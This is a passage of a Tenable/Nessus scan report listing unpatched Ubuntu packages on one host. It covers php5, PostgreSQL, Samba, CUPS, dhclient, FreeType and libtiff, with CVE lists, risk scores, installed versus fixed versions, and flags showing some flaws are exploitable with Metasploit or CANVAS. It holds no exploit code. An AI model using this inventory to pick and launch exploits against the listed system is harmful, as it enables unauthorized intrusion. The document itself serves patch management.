## CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 38393 |
| BID | 39715 |
| BID | 39719 |
| BID | 39794 |
| BID | 40241 |
| BID | 40356 |
| BID | 40377 |
| BID | 41467 |
| BID | 42237 |
| CVE | CVE-2008-7256 |
| CVE | CVE-2010-1173 |
| CVE | CVE-2010-1436 |
| CVE | CVE-2010-1437 |
| CVE | CVE-2010-1451 |
| CVE | CVE-2010-1636 |
| CVE | CVE-2010-1641 |
| CVE | CVE-2010-1643 |
| CVE | CVE-2010-2071 |
| CVE | CVE-2010-2492 |
| XREF | USN:966-1 |

## Plugin Information

Published: 2010/08/05, Modified: 2019/10/16

## Plugin Output

### tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.73

  - Installed package : linux-libc-dev_2.6.24-27.68
  - Fixed package     : linux-libc-dev_2.6.24-28.73


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 49306 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : php5 vulnerabilities (USN-989-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Auke van Slooten discovered that PHP incorrectly handled certain xmlrpc requests. An attacker could exploit this issue to cause the PHP server to crash, resulting in a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.04 and 9.10. (CVE-2010-0397)

It was discovered that the pseudorandom number generator in PHP did not provide the expected entropy. An attacker could exploit this issue to predict values that were intended to be random, such as session cookies. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.04 and 9.10. (CVE-2010-1128)

It was discovered that PHP did not properly handle directory pathnames that lacked a trailing slash character. An attacker could exploit this issue to bypass safe_mode restrictions. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.04 and 9.10. (CVE-2010-1129)

Grzegorz Stachowiak discovered that the PHP session extension did not properly handle semicolon characters. An attacker could exploit this issue to bypass safe_mode restrictions. This issue only affected Ubuntu 8.04 LTS, 9.04 and 9.10. (CVE-2010-1130)

Stefan Esser discovered that PHP incorrectly decoded remote HTTP chunked encoding streams. An attacker could exploit this issue to cause the PHP server to crash and possibly execute arbitrary code with application privileges. This issue only affected Ubuntu 10.04 LTS.

(CVE-2010-1866)

Mateusz Kocielski discovered that certain PHP SQLite functions incorrectly handled empty SQL queries. An attacker could exploit this issue to possibly execute arbitrary code with application privileges.

(CVE-2010-1868)

Mateusz Kocielski discovered that PHP incorrectly handled certain arguments to the fnmatch function. An attacker could exploit this flaw and cause the PHP server to consume all available stack memory, resulting in a denial of service. (CVE-2010-1917)

Stefan Esser discovered that PHP incorrectly handled certain strings in the phar extension. An attacker could exploit this flaw to possibly view sensitive information. This issue only affected Ubuntu 10.04 LTS.

(CVE-2010-2094, CVE-2010-2950)

Stefan Esser discovered that PHP incorrectly handled deserialization of SPLObjectStorage objects. A remote attacker could exploit this issue to view sensitive information and possibly execute arbitrary code with application privileges. This issue only affected Ubuntu 8.04 LTS, 9.04, 9.10 and 10.04 LTS. (CVE-2010-2225)

It was discovered that PHP incorrectly filtered error messages when limits for memory, execution time, or recursion were exceeded. A remote attacker could exploit this issue to possibly view sensitive information. (CVE-2010-2531)

Stefan Esser discovered that the PHP session serializer incorrectly handled the PS_UNDEF_MARKER marker. An attacker could exploit this issue to alter arbitrary session variables. (CVE-2010-3065).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/989-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

6.7

## EPSS Score

0.0868

## CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 38182 |
| BID | 38430 |
| BID | 38431 |
| BID | 38708 |
| BID | 39877 |
| BID | 40013 |
| BID | 40173 |
| BID | 40948 |
| BID | 41991 |
| CVE | CVE-2010-0397 |
| CVE | CVE-2010-1128 |
| CVE | CVE-2010-1129 |
| CVE | CVE-2010-1130 |
| CVE | CVE-2010-1866 |
| CVE | CVE-2010-1868 |
| CVE | CVE-2010-1917 |
| CVE | CVE-2010-2094 |

| | |
|---|---|
| CVE | CVE-2010-2225 |
| CVE | CVE-2010-2531 |
| CVE | CVE-2010-2950 |
| CVE | CVE-2010-3065 |
| XREF | USN:989-1 |

## Plugin Information

Published: 2010/09/21, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.12

  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.12

  - Installed package : php5-common_5.2.4-2ubuntu5.10
  - Fixed package     : php5-common_5.2.4-2ubuntu5.12

  - Installed package : php5-gd_5.2.4-2ubuntu5.10
  - Fixed package     : php5-gd_5.2.4-2ubuntu5.12

  - Installed package : php5-mysql_5.2.4-2ubuntu5.10
  - Fixed package     : php5-mysql_5.2.4-2ubuntu5.12

```

## 46700 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : postgresql-8.1, postgresql-8.3, postgresql-8.4 vulnerabilities (USN-942-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the Safe.pm module as used by PostgreSQL did not properly restrict PL/perl procedures. If PostgreSQL was configured to use Perl stored procedures, a remote authenticated attacker could exploit this to execute arbitrary Perl code. (CVE-2010-1169)

It was discovered that PostgreSQL did not properly check permissions to restrict PL/Tcl procedures. If PostgreSQL was configured to use Tcl stored procedures, a remote authenticated attacker could exploit this to execute arbitrary Tcl code. (CVE-2010-1170)

It was discovered that PostgreSQL did not properly check privileges during certain RESET ALL operations. A remote authenticated attacker could exploit this to remove all special parameter settings for a user or database. (CVE-2010-1975).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/942-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0331

### CVSS v2.0 Base Score

8.5 (CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.3 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 40215 |
| CVE | CVE-2010-1168 |
| CVE | CVE-2010-1169 |
| CVE | CVE-2010-1170 |
| CVE | CVE-2010-1975 |
| XREF | USN:942-1 |

### Plugin Information

Published: 2010/05/24, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libpq5_8.3.1-1
  - Fixed package     : libpq5_8.3.11-0ubuntu8.04

  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.11-0ubuntu8.04

  - Installed package : postgresql-client-8.3_8.3.1-1
  - Fixed package     : postgresql-client-8.3_8.3.11-0ubuntu8.04
```

## 49236 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : samba vulnerability (USN-987-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Andrew Bartlett discovered that Samba did not correctly validate the length when parsing SIDs. A remote attacker could send a specially crafted request to the server and cause a denial of service, or possibly execute arbitrary code with the privileges of the Samba service (smbd).

The default compiler options for Ubuntu 8.04 LTS and newer should reduce the vulnerability to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/987-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.1768

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 43212 |
| CVE | CVE-2010-3069 |
| XREF | USN:987-1 |

## Plugin Information

Published: 2010/09/15, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.13

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.13
```

## 47035 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 : samba vulnerability (USN-951-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Jun Mao discovered that Samba did not correctly validate SMB1 packet contents. An unauthenticated remote attacker could send specially crafted network traffic that could execute arbitrary code as the root user.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/951-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

7.4

### EPSS Score

0.7818

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-2063 |
| XREF | USN:951-1 |

### Exploitable With

Metasploit (true)

## Plugin Information

Published: 2010/06/17, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.12

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.12

```

## 55087 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 / 11.04 : php5 regressions (USN-1126-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN 1126-1 fixed several vulnerabilities in PHP. The fix for CVE-2010-4697 introduced an incorrect reference counting regression in the Zend engine that caused the PHP interpreter to segfault. This regression affects Ubuntu 6.06 LTS and Ubuntu 8.04 LTS.

The fixes for CVE-2011-1072 and CVE-2011-1144 introduced a regression in the PEAR installer that prevented it from creating its cache directory and reporting errors correctly.

We apologize for the inconvenience.

Stephane Chazelas discovered that the /etc/cron.d/php5 cron job for PHP 5.3.5 allows local users to delete arbitrary files via a symlink attack on a directory under /var/lib/php5/. (CVE-2011-0441)

Raphael Geisert and Dan Rosenberg discovered that the PEAR installer allows local users to overwrite arbitrary files via a symlink attack on the package.xml file, related to the (1) download_dir, (2) cache_dir, (3) tmp_dir, and (4) pear-build-download directories. (CVE-2011-1072, CVE-2011-1144)

Ben Schmidt discovered that a use-after-free vulnerability in the PHP Zend engine could allow an attacker to cause a denial of service (heap memory corruption) or possibly execute arbitrary code. (CVE-2010-4697)

Martin Barbella discovered a buffer overflow in the PHP GD extension that allows an attacker to cause a denial of service (application crash) via a large number of anti- aliasing steps in an argument to the imagepstext function.

(CVE-2010-4698)

It was discovered that PHP accepts the \0 character in a pathname, which might allow an attacker to bypass intended access restrictions by placing a safe file extension after this character. This issue is addressed in Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2006-7243)

Maksymilian Arciemowicz discovered that the grapheme_extract function in the PHP Internationalization extension (Intl) for ICU allow an attacker to cause a denial of service (crash) via an invalid size argument, which triggers a NULL pointer dereference. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-0420)

Maksymilian Arciemowicz discovered that the _zip_name_locate function in the PHP Zip extension does not properly handle a ZIPARCHIVE::FL_UNCHANGED argument, which might allow an attacker to cause a denial of service (NULL pointer dereference) via an empty ZIP archive. This issue affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-0421)

Luca Carettoni discovered that the PHP Exif extension performs an incorrect cast on 64bit platforms, which allows a remote attacker to cause a denial of service (application crash) via an image with a crafted Image File Directory (IFD). (CVE-2011-0708)

Jose Carlos Norte discovered that an integer overflow in the PHP shmop extension could allow an attacker to cause a denial of service (crash) and possibly read sensitive memory function. (CVE-2011-1092)

Felipe Pena discovered that a use-after-free vulnerability in the substr_replace function allows an attacker to cause a denial of service (memory corruption) or possibly execute arbitrary code. (CVE-2011-1148)

Felipe Pena discovered multiple format string vulnerabilities in the PHP phar extension. These could allow an attacker to obtain sensitive information from process memory, cause a denial of service (memory corruption), or possibly execute arbitrary code. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04.(CVE-2011-1153)

It was discovered that a buffer overflow occurs in the strval function when the precision configuration option has a large value. The default compiler options for Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04 should reduce the vulnerability to a denial of service. (CVE-2011-1464)

It was discovered that an integer overflow in the SdnToJulian function in the PHP Calendar extension could allow an attacker to cause a denial of service (application crash). (CVE-2011-1466)

Tomas Hoger discovered that an integer overflow in the NumberFormatter::setSymbol function in the PHP Intl extension could allow an attacker to cause a denial of service (application crash). This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-1467)

It was discovered that multiple memory leaks in the PHP OpenSSL extension might allow a remote attacker to cause a denial of service (memory consumption). This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04.

(CVE-2011-1468)

Daniel Buschke discovered that the PHP Streams component in PHP handled types improperly, possibly allowing an attacker to cause a denial of service (application crash).

(CVE-2011-1469)

It was discovered that the PHP Zip extension could allow an attacker to cause a denial of service (application crash) via a ziparchive stream that is not properly handled by the stream_get_contents function. This issue affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-1470)

It was discovered that an integer signedness error in the PHP Zip extension could allow an attacker to cause a denial of service (CPU consumption) via a malformed archive file.

This issue affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-1470) (CVE-2011-1471).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://usn.ubuntu.com/1126-2/

Solution

Update the affected packages.

Risk Factor

High

VPR Score

6.7

EPSS Score

0.1897

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 44951 |
| BID | 45338 |
| BID | 45952 |
| BID | 46354 |
| BID | 46365 |
| BID | 46429 |
| BID | 46605 |
| BID | 46786 |
| BID | 46843 |
| BID | 46854 |
| BID | 46928 |
| BID | 46967 |
| BID | 46968 |
| BID | 46970 |
| BID | 46975 |
| BID | 46977 |
| CVE | CVE-2006-7243 |
| CVE | CVE-2010-4697 |
| CVE | CVE-2010-4698 |
| CVE | CVE-2011-0420 |
| CVE | CVE-2011-0421 |
| CVE | CVE-2011-0441 |
| CVE | CVE-2011-0708 |
| CVE | CVE-2011-1072 |
| CVE | CVE-2011-1092 |
| CVE | CVE-2011-1144 |
| CVE | CVE-2011-1148 |
| CVE | CVE-2011-1153 |
| CVE | CVE-2011-1464 |
| CVE | CVE-2011-1466 |
| CVE | CVE-2011-1467 |

| | |
|---|---|
| CVE | CVE-2011-1468 |
| CVE | CVE-2011-1469 |
| CVE | CVE-2011-1470 |
| CVE | CVE-2011-1471 |
| XREF | USN:1126-2 |

## Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.17

  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.17

  - Installed package : php5-common_5.2.4-2ubuntu5.10
  - Fixed package     : php5-common_5.2.4-2ubuntu5.17
```

## 55086 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 / 11.04 : php5 vulnerabilities (USN-1126-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Stephane Chazelas discovered that the /etc/cron.d/php5 cron job for PHP 5.3.5 allows local users to delete arbitrary files via a symlink attack on a directory under /var/lib/php5/. (CVE-2011-0441)

Raphael Geisert and Dan Rosenberg discovered that the PEAR installer allows local users to overwrite arbitrary files via a symlink attack on the package.xml file, related to the (1) download_dir, (2) cache_dir, (3) tmp_dir, and (4) pear-build-download directories.

(CVE-2011-1072, CVE-2011-1144)

Ben Schmidt discovered that a use-after-free vulnerability in the PHP Zend engine could allow an attacker to cause a denial of service (heap memory corruption) or possibly execute arbitrary code. (CVE-2010-4697)

Martin Barbella discovered a buffer overflow in the PHP GD extension that allows an attacker to cause a denial of service (application crash) via a large number of anti- aliasing steps in an argument to the imagepstext function. (CVE-2010-4698)

It was discovered that PHP accepts the \0 character in a pathname, which might allow an attacker to bypass intended access restrictions by placing a safe file extension after this character. This issue is addressed in Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04.

(CVE-2006-7243)

Maksymilian Arciemowicz discovered that the grapheme_extract function in the PHP Internationalization extension (Intl) for ICU allow an attacker to cause a denial of service (crash) via an invalid size argument, which triggers a NULL pointer dereference. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04.

(CVE-2011-0420)

Maksymilian Arciemowicz discovered that the _zip_name_locate function in the PHP Zip extension does not properly handle a ZIPARCHIVE::FL_UNCHANGED argument, which might allow an attacker to cause a denial of service (NULL pointer dereference) via an empty ZIP archive. This issue affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-0421)

Luca Carettoni discovered that the PHP Exif extension performs an incorrect cast on 64bit platforms, which allows a remote attacker to cause a denial of service (application crash) via an image with a crafted Image File Directory (IFD). (CVE-2011-0708)

Jose Carlos Norte discovered that an integer overflow in the PHP shmop extension could allow an attacker to cause a denial of service (crash) and possibly read sensitive memory function. (CVE-2011-1092)

Felipe Pena discovered that a use-after-free vulnerability in the substr_replace function allows an attacker to cause a denial of service (memory corruption) or possibly execute arbitrary code.

(CVE-2011-1148)

Felipe Pena discovered multiple format string vulnerabilities in the PHP phar extension. These could allow an attacker to obtain sensitive information from process memory, cause a denial of service (memory corruption), or possibly execute arbitrary code. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04.(CVE-2011-1153)

It was discovered that a buffer overflow occurs in the strval function when the precision configuration option has a large value. The default compiler options for Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04 should reduce the vulnerability to a denial of service. (CVE-2011-1464)

It was discovered that an integer overflow in the SdnToJulian function in the PHP Calendar extension could allow an attacker to cause a denial of service (application crash). (CVE-2011-1466)

Tomas Hoger discovered that an integer overflow in the NumberFormatter::setSymbol function in the PHP Intl extension could allow an attacker to cause a denial of service (application crash).

This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04.

(CVE-2011-1467)

It was discovered that multiple memory leaks in the PHP OpenSSL extension might allow a remote attacker to cause a denial of service (memory consumption). This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-1468)

Daniel Buschke discovered that the PHP Streams component in PHP handled types improperly, possibly allowing an attacker to cause a denial of service (application crash). (CVE-2011-1469)

It was discovered that the PHP Zip extension could allow an attacker to cause a denial of service (application crash) via a ziparchive stream that is not properly handled by the stream_get_contents function. This issue affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-1470)

It was discovered that an integer signedness error in the PHP Zip extension could allow an attacker to cause a denial of service (CPU consumption) via a malformed archive file. This issue affected Ubuntu 8.04 LTS, Ubuntu 9.10, Ubuntu 10.04 LTS, Ubuntu 10.10, and Ubuntu 11.04. (CVE-2011-1470) (CVE-2011-1471).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/1126-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

6.7

## EPSS Score

0.1897

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 44951 |
| BID | 45338 |
| BID | 45952 |
| BID | 46354 |
| BID | 46365 |
| BID | 46429 |
| BID | 46605 |
| BID | 46786 |
| BID | 46843 |
| BID | 46854 |
| BID | 46928 |
| BID | 46967 |
| BID | 46968 |
| BID | 46969 |
| BID | 46970 |
| BID | 46975 |
| BID | 46977 |
| CVE | CVE-2006-7243 |
| CVE | CVE-2010-4697 |
| CVE | CVE-2010-4698 |
| CVE | CVE-2011-0420 |
| CVE | CVE-2011-0421 |
| CVE | CVE-2011-0441 |
| CVE | CVE-2011-0708 |
| CVE | CVE-2011-1072 |
| CVE | CVE-2011-1092 |
| CVE | CVE-2011-1144 |
| CVE | CVE-2011-1148 |
| CVE | CVE-2011-1153 |
| CVE | CVE-2011-1464 |
| CVE | CVE-2011-1466 |
| CVE | CVE-2011-1467 |
| CVE | CVE-2011-1468 |

| | |
|---|---|
| CVE | CVE-2011-1469 |
| CVE | CVE-2011-1470 |
| CVE | CVE-2011-1471 |
| XREF | USN:1126-1 |

## Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.15

  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.15

  - Installed package : php5-common_5.2.4-2ubuntu5.10
  - Fixed package     : php5-common_5.2.4-2ubuntu5.15

  - Installed package : php5-gd_5.2.4-2ubuntu5.10
  - Fixed package     : php5-gd_5.2.4-2ubuntu5.15

```

## 50490 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : cups, cupsys vulnerability (USN-1012-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Emmanuel Bouillon discovered that CUPS did not properly handle certain Internet Printing Protocol (IPP) packets. A remote attacker could use this flaw to cause a denial of service or possibly execute arbitrary code. In the default installation in Ubuntu 8.04 LTS and later, attackers would be isolated by the CUPS AppArmor profile.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1012-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.2768

### CVSS v2.0 Base Score

7.9 (CVSS2#AV:A/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 44530 |

| | |
|---|---|
| CVE | CVE-2010-2941 |
| XREF | USN:1012-1 |

## Plugin Information

Published: 2010/11/05, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libcupsys2_1.3.7-1ubuntu3.9
  - Fixed package     : libcupsys2_1.3.7-1ubuntu3.12
```

## 53372 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : dhcp3 vulnerability (USN-1108-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Sebastian Krahmer discovered that the dhclient utility incorrectly filtered crafted responses. An attacker could use this flaw with a malicious DHCP server to execute arbitrary code, resulting in root privilege escalation.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1108-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.1

### EPSS Score

0.7198

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 47176 |
| CVE | CVE-2011-0997 |
| XREF | USN:1108-1 |

## Exploitable With

CANVAS (true)

## Plugin Information

Published: 2011/04/12, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : dhcp3-client_3.0.6.dfsg-1ubuntu9
  - Fixed package     : dhcp3-client_3.0.6.dfsg-1ubuntu9.2

  - Installed package : dhcp3-common_3.0.6.dfsg-1ubuntu9
  - Fixed package     : dhcp3-common_3.0.6.dfsg-1ubuntu9.2
```

## 50491 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : freetype vulnerabilities (USN-1013-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Marc Schoenefeld discovered that FreeType did not correctly handle certain malformed font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS, 9.10 and 10.04 LTS.

(CVE-2010-3311)

Chris Evans discovered that FreeType did not correctly handle certain malformed TrueType font files. If a user were tricked into using a specially crafted TrueType file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges. This issue only affected Ubuntu 8.04 LTS, 9.10, 10.04 LTS and 10.10. (CVE-2010-3814)

It was discovered that FreeType did not correctly handle certain malformed TrueType font files. If a user were tricked into using a specially crafted TrueType file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges. (CVE-2010-3855).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1013-1/

### Solution

Update the affected freetype2-demos, libfreetype6 and / or libfreetype6-dev packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.0498

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 43700 |
| BID | 44214 |
| CVE | CVE-2010-3311 |
| CVE | CVE-2010-3814 |
| CVE | CVE-2010-3855 |
| XREF | USN:1013-1 |

### Plugin Information

Published: 2010/11/05, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libfreetype6_2.3.5-1ubuntu4.8.04.2
  - Fixed package     : libfreetype6_2.3.5-1ubuntu4.8.04.6
```

## 52667 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : tiff regression (USN-1085-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-1085-1 fixed vulnerabilities in the system TIFF library. The upstream fixes were incomplete and created problems for certain CCITTFAX4 files. This update fixes the problem.

We apologize for the inconvenience.

Sauli Pahlman discovered that the TIFF library incorrectly handled invalid td_stripbytecount fields. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. This issue only affected Ubuntu 10.04 LTS and 10.10. (CVE-2010-2482)

Sauli Pahlman discovered that the TIFF library incorrectly handled TIFF files with an invalid combination of SamplesPerPixel and Photometric values. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. This issue only affected Ubuntu 10.10. (CVE-2010-2482)

Nicolae Ghimbovschi discovered that the TIFF library incorrectly handled invalid ReferenceBlackWhite values. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service.

(CVE-2010-2595)

Sauli Pahlman discovered that the TIFF library incorrectly handled certain default fields. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. (CVE-2010-2597, CVE-2010-2598)

It was discovered that the TIFF library incorrectly validated certain data types. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. (CVE-2010-2630)

It was discovered that the TIFF library incorrectly handled downsampled JPEG data. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. This issue only affected Ubuntu 10.04 LTS and 10.10. (CVE-2010-3087)

It was discovered that the TIFF library incorrectly handled certain JPEG data. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS and 9.10. (CVE-2011-0191)

It was discovered that the TIFF library incorrectly handled certain TIFF FAX images. If a user or automated system were tricked into opening a specially crafted TIFF FAX image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. (CVE-2011-0191).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/1085-2/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

5.9

## EPSS Score

0.1322

## CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

